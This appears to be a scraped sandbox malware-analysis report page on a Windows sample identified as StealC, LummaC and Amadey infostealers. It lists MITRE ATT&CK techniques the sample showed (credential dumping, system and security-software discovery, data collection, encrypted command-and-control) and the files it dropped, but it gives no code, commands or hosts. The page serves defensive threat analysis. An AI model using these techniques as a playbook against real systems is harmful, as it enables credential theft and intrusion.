Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKEGIJE

C:\ProgramData\BAEBGHCFCAAFIECAFIII

C:\ProgramData\CBGHCAKKFBGDHJJJKECFBKKECG

C:\ProgramData\DBFBFBGDBKJJKFIEHJDB

C:\ProgramData\EBKKKEGIDBGHIDGDHDBFHDAKJJ

C:\ProgramData\HJJEHJJK

C:\ProgramData\HJJJDAEGIDHCBFHJJJEG

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre